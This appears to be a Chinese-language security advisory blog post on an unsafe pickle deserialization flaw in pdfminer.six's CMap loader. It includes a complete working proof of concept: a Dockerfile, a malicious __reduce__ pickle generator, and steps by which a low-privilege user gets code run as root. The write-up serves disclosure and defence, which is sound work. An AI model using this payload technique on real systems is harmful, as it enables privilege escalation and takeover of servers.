pdfminer.six 反序列化漏洞剖析:利用不安全的pickle加载实现本地提权

本文深入解析了pdfminer.six库中一个严重的不安全反序列化漏洞。攻击者可通过在CMAP_PATH路径中植入恶意pickle文件,在PDF处理过程中触发任意代码执行,从而实现从低权限用户到root的本地权限提升。

漏洞详情

包管理器: pip 包名称: pdfminer.six 受影响版本: <= 20251107 已修补版本: 暂无

🚀 概述

本报告演示了pdfminer.six中一个真实的权限提升漏洞,该漏洞源于Python的pickle模块在加载CMap文件时的不安全使用。它展示了在多用户或服务器环境中,低权限用户如何通过利用不安全的反序列化获得root访问权限(或提升到任何服务账户)。

🚨 特别说明

本公告处理的是与GHSA-wf5f-4jwr-ppcp(CVE-2025-64512)不同的漏洞。虽然先前的CVE声称缓解了与不安全反序列化相关的问题,但在提交b808ee05dd7f0c8ea8ec34bdf394d40e63501086中引入的补丁并未解决此处报告的漏洞。根据对库的最新版本(对比视图)进行的测试,由于仍然不安全地使用pickle文件,该问题在本地权限提升方面仍然可被利用。Dockerfile因此被修改以针对此声明运行测试。这表明CVE-2025-64512的补丁是不完整的:漏洞仍然可利用。因此,本公告记录了一个独立的、可修复的缺陷。正确的修复方案必须移除对pickle文件的依赖(或以其他方式消除不安全的反序列化),并用安全的、可审计的数据处理方法取而代之,以使库能够在不依赖pickle的情况下正常运行。

🔍 背景

pdfminer.six是一个流行的Python库,用于从PDF文件中提取文本和信息。它通过外部CMap文件支持CJK(中文、日文、韩文)字体,这些文件使用Python的pickle模块从磁盘加载。

🐍 安全问题

如果CMap搜索路径(CMAP_PATH 或默认目录)包含一个全局可写或用户可写的目录,攻击者可以放置一个恶意的 .pickle.gz 文件,该文件将被pdfminer.six加载和反序列化,从而导致任意代码执行。

🐍 漏洞描述

组件: pdfminer.six CMap加载(pdfminer/cmapdb.py问题: 使用Python的pickle模块加载和反序列化.pickle.gz文件,这对于不可信数据是不安全的。 可利用性: 如果低权限用户可以写入CMAP_PATH中的任何目录,他们就可以以运行pdfminer的用户身份执行代码——可能是root或特权服务账户。 影响: 以服务用户身份完全执行代码、从用户提升到root权限、持久化以及潜在的横向移动。

🎭 演示场景

环境:

  • 🐧 Alpine Linux(Docker容器)
  • 👨‍💻 两个用户:
    • user1(攻击者:低权限)
    • root(受害者:运行特权PDF处理脚本)
  • 🗂️ 共享可写目录:/tmp/uploads
  • 🛣️ 为特权脚本设置CMAP_PATH/tmp/uploads
  • 📦 pdfminer.six系统级安装

攻击流程:

  1. 🕵️‍♂️ user1/tmp/uploads中创建恶意的CMap文件(Evil.pickle.gz)。
  2. 👑 特权服务(root)处理PDF或调用get_cmap("Evil")
  3. 💣 恶意的pickle被反序列化,以root身份运行任意代码。
  4. 🎯 漏洞利用在/root/pwnedByPdfminer中创建一个标志文件作为证据。

🧨 技术细节

漏洞类型: 使用Python的pickle对不可信数据进行不安全的反序列化 攻击前提: 攻击者可以写入包含在CMAP_PATH中的目录 易受攻击的代码行:

1
return type(str(name), (), pickle.loads(gzfile.read()))

位于pdfminer/cmapdb.py_load_data方法中(链接概念验证: 参见createEvilPickle.pyevilmod.pyprocessPdf.py

利用链:

  1. 攻击者将恶意的.pickle.gz文件放置在CMap搜索路径中。
  2. 特权进程(例如root)加载CMap,触发pickle反序列化。
  3. 任意代码以进程(root/服务账户)的权限执行。

🔧 设置与使用

📁 文件

Dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
FROM python:3.11-alpine

ARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086

# Install git and build tooling
RUN apk add --no-cache git build-base

WORKDIR /opt

# Clone pdfminer.six and check out the specific commit, then install from source
RUN git clone https://github.com/pdfminer/pdfminer.six.git && \
    cd pdfminer.six && \
    git fetch --all && \
    git checkout ${PM_COMMIT} && \
    pip install --no-cache-dir -e .

# App working directory for PoC
WORKDIR /app

# Create low-privilege user and uploads dir
RUN adduser -D user1 && \
    mkdir -p /tmp/uploads && \
    chown user1:user1 /tmp/uploads && \
    chmod 1777 /tmp/uploads

# Copy PoC files
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

ENV CMAP_PATH=/tmp/uploads
ENV PYTHONUNBUFFERED=1

# Keep the container running in background so you can exec into it anytime.
CMD ["tail", "-f", "/dev/null"]

evilmod.py

1
2
3
4
5
6
import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

createEvilPickle.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

processPDF.py

1
2
3
4
5
6
7
8
import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

步骤指南

1️⃣ 构建并启动演示容器

1
2
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-demo

2️⃣ 在容器中,并行打开两个shell(或在一个shell中切换用户):

  • 🕵️‍♂️ Shell 1(攻击者: user1)
    1
    2
    3
    4
    
    su user1
    cd /app
    python createEvilPickle.py
    # ✅ 确认:/tmp/uploads/Evil.pickle.gz 已创建并归 user1 所有
    
  • 👑 Shell 2(受害者: root)
    1
    2
    3
    
    cd /app
    python processPdf.py
    # 🎯 输出:如果易受攻击,/root/pwnedByPdfminer 将被创建
    

3️⃣ 权限提升证明

1
2
cat /root/pwnedByPdfminer
# 🏴 输出:ROOTED by pdfminer pickle RCE

📝 逐步演练

  1. user1 使用 createEvilPickle.py 在共享的上传目录中制作并放置一个恶意的CMap pickle文件。
  2. root 用户运行一个典型的PDF处理脚本,该脚本从该目录加载CMap文件。
  3. 漏洞利用被触发,以root身份运行任意代码。
  4. 攻击者现在拥有以root身份执行代码的证明(在真实攻击中,可以进一步升级)。

🛡️ 安全标准与参考

CVSS(通用漏洞评分系统)

  • 基础分数: 7.8(高)
  • 向量: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

OWASP Top 10

  • A08:2021 - 软件和数据完整性故障
  • A03:2021 - 注入(通过类比,因为这是通过反序列化进行的代码注入)

MITRE CWE 参考

  • CWE-502: 不可信数据的反序列化
  • CWE-915: 对动态确定的对象属性的控制不当的修改

MITRE ATT&CK 技术

  • T1055: 进程注入
  • T1548: 滥用权限提升控制机制

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计